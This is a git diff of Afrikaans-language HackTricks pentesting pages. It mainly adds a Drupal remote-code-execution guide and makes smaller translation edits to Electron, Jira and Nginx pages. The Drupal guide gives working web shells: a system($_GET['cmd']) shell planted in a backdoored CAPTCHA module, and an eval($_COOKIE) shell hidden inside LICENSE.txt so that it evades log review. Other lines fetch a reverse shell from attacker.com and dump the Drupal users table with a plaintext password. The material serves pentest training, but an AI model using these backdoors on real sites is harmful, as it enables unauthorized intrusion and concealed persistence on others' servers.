### Stort gebruikers van DB
|
||||
```
|
||||
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
269
network-services-pentesting/pentesting-web/drupal/drupal-rce.md
Normal file
|
@ -0,0 +1,269 @@
|
|||
# Drupal RCE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Met PHP Filter Module
|
||||
|
||||
{% hint style="warning" %}
|
||||
In ouer weergawes van Drupal **(voor weergawe 8)**, was dit moontlik om as 'n administrateur in te teken en die `PHP filter`-module te **aktiveer**, wat "Ingeslote PHP-kode/snippets toelaat om geëvalueer te word." Maar vanaf weergawe 8 is hierdie module nie standaard geïnstalleer nie.
|
||||
{% endhint %}
|
||||
|
||||
Jy benodig die **plugin php om geïnstalleer te wees** (kontroleer dit deur toegang te verkry tot _/modules/php_ en as dit 'n **403** terugstuur, dan **bestaan** dit, indien **nie gevind nie**, dan is die **plugin php nie geïnstalleer nie**)
|
||||
|
||||
Gaan na _Modules_ -> (**Kontroleer**) _PHP Filter_ -> _Stoor konfigurasie_
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Klik dan op _Voeg inhoud by_ -> Kies _Basiese Bladsy_ of _Artikel -_> Skryf _php shellcode in die liggaam_ -> Kies _PHP-kode_ in _Teksformaat_ -> Kies _Voorbeeld_
|
||||
|
||||
.png>)
|
||||
|
||||
Laastens, kry net toegang tot die nuut geskepte node:
|
||||
```bash
|
||||
curl http://drupal-site.local/node/3
|
||||
```
|
||||
## Installeer PHP Filter Module
|
||||
|
||||
{% hint style="warning" %}
|
||||
In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hê na die standaard installasie nie.
|
||||
{% endhint %}
|
||||
|
||||
Vanaf weergawe **8 en verder, is** die [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module nie standaard geïnstalleer nie**. Om van hierdie funksionaliteit gebruik te maak, sal ons die module self moet **installeer**.
|
||||
|
||||
1. Laai die mees onlangse weergawe van die module af van die Drupal-webwerf.
|
||||
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
3. Nadat dit afgelaai is, gaan na **`Administrasie`** > **`Verslae`** > **`Beskikbare opdaterings`**.
|
||||
4. Klik op **`Deursoek`**, kies die lêer van die gids waarna ons dit afgelaai het, en klik dan op **`Installeer`**.
|
||||
5. Nadat die module geïnstalleer is, kan ons op **`Inhoud`** klik en **'n nuwe basiese bladsy skep**, soortgelyk aan hoe ons dit in die Drupal 7-voorbeeld gedoen het. Wees weer seker om **`PHP-kode` te kies uit die `Teksformaat`-keuslys**.
|
||||
|
||||
## Agterdeur Module
|
||||
|
||||
{% hint style="warning" %}
|
||||
In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hê na die standaard installasie nie.
|
||||
{% endhint %}
|
||||
|
||||
'n Agterdeur module kan geskep word deur **'n dop by 'n bestaande module te voeg**. Modules kan op die drupal.org-webwerf gevind word. Laat ons 'n module soos [CAPTCHA](https://www.drupal.org/project/captcha) kies. Blaai af en kopieer die skakel vir die tar.gz [argief](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Laai die argief af en onttrek sy inhoud.
|
||||
```
|
||||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||
tar xvf captcha-8.x-1.2.tar.gz
|
||||
```
|
||||
* Skep 'n **PHP web shell** met die inhoud:
|
||||
```php
|
||||
<?php
|
||||
system($_GET["cmd"]);
|
||||
?>
|
||||
```
|
||||
* Volgende, moet ons 'n **`.htaccess`** lêer skep om ons toegang tot die vouer te gee. Dit is noodsaaklik aangesien Drupal direkte toegang tot die **`/modules`** vouer ontken.
|
||||
```html
|
||||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine On
|
||||
RewriteBase /
|
||||
</IfModule>
|
||||
```
|
||||
* Die konfigurasie hierbo sal reëls toepas vir die /-vouer wanneer ons 'n lêer in die /modules aanvra. Kopieer albei van hierdie lêers na die captcha-vouer en skep 'n argief.
|
||||
```bash
|
||||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Mits dat ons **administratiewe toegang** tot die webwerf het, klik op **`Bestuur`** en dan **`Uitbrei`** aan die kant. Klik daarna op die **`+ Installeer nuwe module`** knoppie, en ons sal na die installeerbladsy geneem word, soos `http://drupal-site.local/admin/modules/install` Blaai na die agterdeur Captcha-argief en klik op **`Installeer`**.
|
||||
* Nadat die installasie suksesvol is, blaai na **`/modules/captcha/shell.php`** om opdragte uit te voer.
|
||||
|
||||
## Backdooring Drupal met Konfigurasiesinkronisasie <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
||||
**Pos gedeel deur** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||
|
||||
### Deel 1 (aktivering van _Media_ en _Media-biblioteek_)
|
||||
|
||||
In die _Uitbrei_ kieslys (/admin/modules), kan jy aktiveer wat lyk asof dit reeds geïnstalleerde byvoegings is. Standaard lyk dit asof die byvoegings _Media_ en _Media-biblioteek_ nie geaktiveer is nie, so laat ons hulle aktiveer.
|
||||
|
||||
Voor aktivering:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Na aktivering:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Deel 2 (benutting van die kenmerk _Konfigurasiesinkronisasie_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
Ons sal die _Konfigurasiesinkronisasie_ kenmerk benut om Drupal konfigurasie inskrywings te dump (uitvoer) en op te laai (invoer):
|
||||
|
||||
* /admin/config/development/configuration/single/export
|
||||
* /admin/config/development/configuration/single/import
|
||||
|
||||
**Patch system.file.yml**
|
||||
|
||||
Begin deur die eerste inskrywing `allow_insecure_uploads` van:
|
||||
|
||||
Lêer: system.file.yml
|
||||
```
|
||||
|
||||
...
|
||||
|
||||
allow_insecure_uploads: false
|
||||
|
||||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Na:
|
||||
|
||||
Lêer: system.file.yml
|
||||
```
|
||||
|
||||
...
|
||||
|
||||
allow_insecure_uploads: true
|
||||
|
||||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Lap veld.field.media.dokument.veld_media_dokument.yml**
|
||||
|
||||
Daarna, lap die tweede inskrywing `file_extensions` van:
|
||||
|
||||
Lêer: veld.veld.media.dokument.veld_media_dokument.yml
|
||||
```
|
||||
|
||||
...
|
||||
|
||||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||||
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||||
|
||||
...
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Na:
|
||||
|
||||
Lêer: veld.veld.media.dokument.veld_media_dokument.yml
|
||||
```
|
||||
...
|
||||
|
||||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||||
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||||
|
||||
...
|
||||
|
||||
```
|
||||
> Ek gebruik dit nie in hierdie blogpos nie, maar dit word genoteer dat dit moontlik is om die inskrywing `file_directory` op 'n arbitrêre manier te definieer en dat dit vatbaar is vir 'n padtraversie-aanval (sodat ons binne die Drupal-lêerstelsel kan terugbeweeg).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Deel 3 (benutting van kenmerk _Voeg Dokument by_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
Die laaste stap is die eenvoudigste, en word opgebreek in twee substappe. Die eerste is om 'n lêer in .htaccess-formaat te laai om die Apache riglyne te benut en .txt-lêers toe te laat om deur die PHP-enjin geïnterpreteer te word. Die tweede is om 'n .txt-lêer te laai wat ons lading bevat.
|
||||
|
||||
Lêer: .htaccess
|
||||
```
|
||||
<Files *>
|
||||
SetHandler application/x-httpd-php
|
||||
</Files>
|
||||
|
||||
# Vroum! Vroum!
|
||||
# We reactivate PHP engines for all versions in order to be targetless.
|
||||
<IfModule mod_php.c>
|
||||
php_flag engine on
|
||||
</IfModule>
|
||||
<IfModule mod_php7.c>
|
||||
php_flag engine on
|
||||
</IfModule>
|
||||
<IfModule mod_php5.c>
|
||||
php_flag engine on
|
||||
</IfModule>
|
||||
```
|
||||
Waarom is hierdie truuk cool?
|
||||
|
||||
Omdat sodra die Webshell (wat ons LICENSE.txt sal noem) op die Web-bediener geplaas is, kan ons ons bevele oordra via `$_COOKIE` en in die Web-bediener se logboeke sal dit vertoon as 'n geldige GET-versoek na 'n tekslêer.
|
||||
|
||||
Hoekom noem ons ons Webshell LICENSE.txt?
|
||||
|
||||
Eenvoudig omdat as ons die volgende lêer neem, byvoorbeeld [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (wat reeds teenwoordig is in die Drupal-kern), het ons 'n lêer van 339 reëls en 17.6 KB groot, wat perfek is vir die byvoeging van 'n klein stukkie PHP-kode in die middel (aangesien die lêer groot genoeg is).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Lêer: Gepatchte LICENSE.txt
|
||||
```txt
|
||||
|
||||
...
|
||||
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
<?php
|
||||
|
||||
# We inject our payload into the cookies so that in the logs of the compromised
|
||||
# server it shows up as having been requested via the GET method, in order to
|
||||
# avoid raising suspicions.
|
||||
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||||
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||||
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
||||
} else {
|
||||
phpinfo();
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
|
||||
...
|
||||
|
||||
```
|
||||
#### **Deel 3.1 (laai lêer .htaccess op)**
|
||||
|
||||
Eerstens maak ons gebruik van die _Voeg Dokument by_ (/media/add/document) kenmerk om ons lêer wat die Apache riglyne bevat (.htaccess) op te laai.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Deel 3.2 (laai lêer LICENSE.txt op)**
|
||||
|
||||
Daarna maak ons weer gebruik van die _Voeg Dokument by_ (/media/add/document) kenmerk om 'n Webshell wat binne 'n lisensie lêer weggesteek is, op te laai.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Deel 4 (interaksie met die Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||||
|
||||
Die laaste deel behels die interaksie met die Webshell.
|
||||
|
||||
Soos in die volgende skermkiekie getoon word, as die koekie wat deur ons Webshell verwag word nie gedefinieer is nie, kry ons die daaropvolgende resultaat wanneer ons die lêer raadpleeg via 'n Webblaaier.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wanneer die aanvaller die koekie instel, kan hy met die Webshell interaksie hê en enige opdragte uitvoer wat hy wil.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
En soos gesien kan word in die logboeke, lyk dit asof slegs 'n txt-lêer aangevra is.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dankie dat jy die tyd geneem het om hierdie artikel te lees, ek hoop dit sal jou help om 'n paar skulpe te kry.
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
Indien die preload-skrip 'n IPC-eindpunt blootstel vanuit die main.js-lêer, sal die renderer-proses daartoe toegang hê en indien kwesbaar, kan 'n RCE moontlik wees.
|
||||
Indien die preload-skrip 'n IPC-eindpunt blootstel vanaf die main.js-lêer, sal die renderer-proses daartoe toegang hê en indien kwesbaar, kan 'n RCE moontlik wees.
|
||||
|
||||
**Die meeste van hierdie voorbeelde is geneem van hier** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Kyk na die video vir verdere inligting.
|
||||
|
||||
|
@ -22,12 +22,12 @@ Indien die preload-skrip 'n IPC-eindpunt blootstel vanuit die main.js-lêer, sal
|
|||
|
||||
Voorbeeld van [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (jy het die volledige voorbeeld van hoe MS Teams misbruik gemaak het van XSS tot RCE in daardie dia's, hierdie is net 'n baie basiese voorbeeld):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Voorbeeld 1
|
||||
|
||||
Kyk hoe die `main.js` luister na `getUpdate` en sal **enige URL aflaai en uitvoer** wat deurgegee word.\
|
||||
Kyk ook hoe `preload.js` **enige IPC**-gebeurtenis vanaf die hoofprogram blootstel.
|
||||
Kyk ook hoe `preload.js` **enige IPC**-gebeurtenis vanaf die hoofstuk blootstel.
|
||||
```javascript
|
||||
// Part of code of main.js
|
||||
ipcMain.on('getUpdate', (event, url) => {
|
||||
|
@ -85,7 +85,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
|||
```
|
||||
## Voorbeeld 2
|
||||
|
||||
Indien die voorlaai-skrip direk aan die renderer 'n manier bied om `shell.openExternal` aan te roep, is dit moontlik om RCE te verkry.
|
||||
Indien die voorlaai-skrip direk aan die renderer 'n manier blootstel om `shell.openExternal` aan te roep, is dit moontlik om RCE te verkry.
|
||||
```javascript
|
||||
// Part of preload.js code
|
||||
window.electronOpenInBrowser = (url) => {
|
||||
|
|
|
@ -8,15 +8,15 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hackerloopbaan** en om die onkraakbare te kraak - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
Indien jy belangstel in 'n **hackerloopbaan** en die onkraakbare wil kraak - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -78,9 +78,9 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
|||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in **hacking loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke benodig_).
|
||||
Indien jy belangstel in **hacking loopbaan** en die onkraakbare wil kraak - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke benodig_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -92,8 +92,8 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,15 +8,15 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentest**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -33,21 +33,21 @@ proxy_pass http://127.0.0.1:8080/;
|
|||
}
|
||||
}
|
||||
```
|
||||
In hierdie konfigurasie word `/etc/nginx` aangewys as die hoofgids. Hierdie opstelling maak toegang tot lêers binne die gespesifiseerde hoofgids moontlik, soos `/hello.txt`. Dit is egter noodsaaklik om te let dat slegs 'n spesifieke ligging (`/hello.txt`) gedefinieer is. Daar is geen konfigurasie vir die hoofligging (`location / {...}`) nie. Hierdie weglatings beteken dat die hoofaanwysing globaal van toepassing is, wat versoek toegang tot lêers onder `/etc/nginx` moontlik maak.
|
||||
In hierdie opset word `/etc/nginx` aangewys as die hoofgids. Hierdie opset maak toegang tot lêers binne die gespesifiseerde hoofgids moontlik, soos `/hello.txt`. Dit is egter noodsaaklik om te let dat slegs 'n spesifieke ligging (`/hello.txt`) gedefinieer is. Daar is geen opset vir die hoofligging (`location / {...}`). Hierdie weglatings beteken dat die hoofaanwysing globaal van toepassing is, wat versoek toelaat om lêers onder `/etc/nginx` te benader.
|
||||
|
||||
'n Kritieke veiligheidsoorweging spruit voort uit hierdie konfigurasie. 'n Eenvoudige `GET` versoek, soos `GET /nginx.conf`, kan sensitiewe inligting blootstel deur die Nginx-konfigurasie-lêer wat by `/etc/nginx/nginx.conf` geleë is, te dien. Om die risiko te verminder, kan die hoof na 'n minder sensitiewe gids, soos `/etc`, ingestel word, maar dit kan steeds onbedoelde toegang tot ander kritieke lêers moontlik maak, insluitend ander konfigurasie-lêers, toegangsjoernale, en selfs versleutelde geloofsbriewe wat vir HTTP basiese outentifikasie gebruik word.
|
||||
'n Kritieke veiligheidsoorweging spruit voort uit hierdie opset. 'n Eenvoudige `GET` versoek, soos `GET /nginx.conf`, kan sensitiewe inligting blootstel deur die Nginx-konfigurasie-lêer wat by `/etc/nginx/nginx.conf` geleë is, te dien. Om die risiko te verminder, kan die hoof na 'n minder sensitiewe gids, soos `/etc`, ingestel word, maar dit kan steeds onbedoelde toegang tot ander kritieke lêers moontlik maak, insluitend ander konfigurasie-lêers, toegangsjoernale, en selfs versleutelde geloofsbriewe wat vir HTTP basiese verifikasie gebruik word.
|
||||
|
||||
## Alias LFI Misconfiguratie <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||
|
||||
In die konfigurasie lêers van Nginx is 'n noukeurige inspeksie nodig vir die "ligging" aanwysings. 'n Kwesbaarheid wat bekend staan as Plaaslike Lêer Insluiting (LFI) kan onbedoeld deur 'n konfigurasie ingevoer word wat soos die volgende lyk:
|
||||
In die konfigurasie-lêers van Nginx is 'n noukeurige inspeksie nodig vir die "ligging" aanwysings. 'n Kwesbaarheid wat bekend staan as Plaaslike Lêer Insluiting (LFI) kan onbedoeld ingevoer word deur 'n konfigurasie wat soos die volgende lyk:
|
||||
```
|
||||
location /imgs {
|
||||
alias /path/images/;
|
||||
}
|
||||
```
|
||||
Hierdie konfigurasie is vatbaar vir LFI-aanvalle as gevolg van die bedienaar wat versoeke soos `/imgs../flag.txt` interpreteer as 'n poging om lêers buite die bedoelde gids te benader, wat effektief oplos na `/path/images/../flag.txt`. Hierdie fout maak dit vir aanvallers moontlik om lêers van die bedienaar se lêersisteem te herwin wat nie via die web toeganklik behoort te wees nie.
|
||||
Hierdie opset is vatbaar vir LFI-aanvalle as gevolg van die bedienaar wat versoeke soos `/imgs../flag.txt` interpreteer as 'n poging om lêers buite die bedoelde gids te benader, wat effektief oplos na `/path/images/../flag.txt`. Hierdie fout maak dit vir aanvallers moontlik om lêers van die bedienaar se lêersisteem te herwin wat nie via die web toeganklik behoort te wees nie.
|
||||
|
||||
Om hierdie kwesbaarheid te verminder, moet die konfigurasie aangepas word na:
|
||||
Om hierdie kwesbaarheid te verminder, moet die opset aangepas word na:
|
||||
```
|
||||
location /imgs/ {
|
||||
alias /path/images/;
|
||||
|
@ -65,7 +65,7 @@ alias../ => HTTP status code 403
|
|||
```
|
||||
## Onveilige padbeperking <a href="#onveilige-variabel-gebruik" id="onveilige-variabel-gebruik"></a>
|
||||
|
||||
Kyk na die volgende bladsy om te leer hoe om riglyne soos te omseil:
|
||||
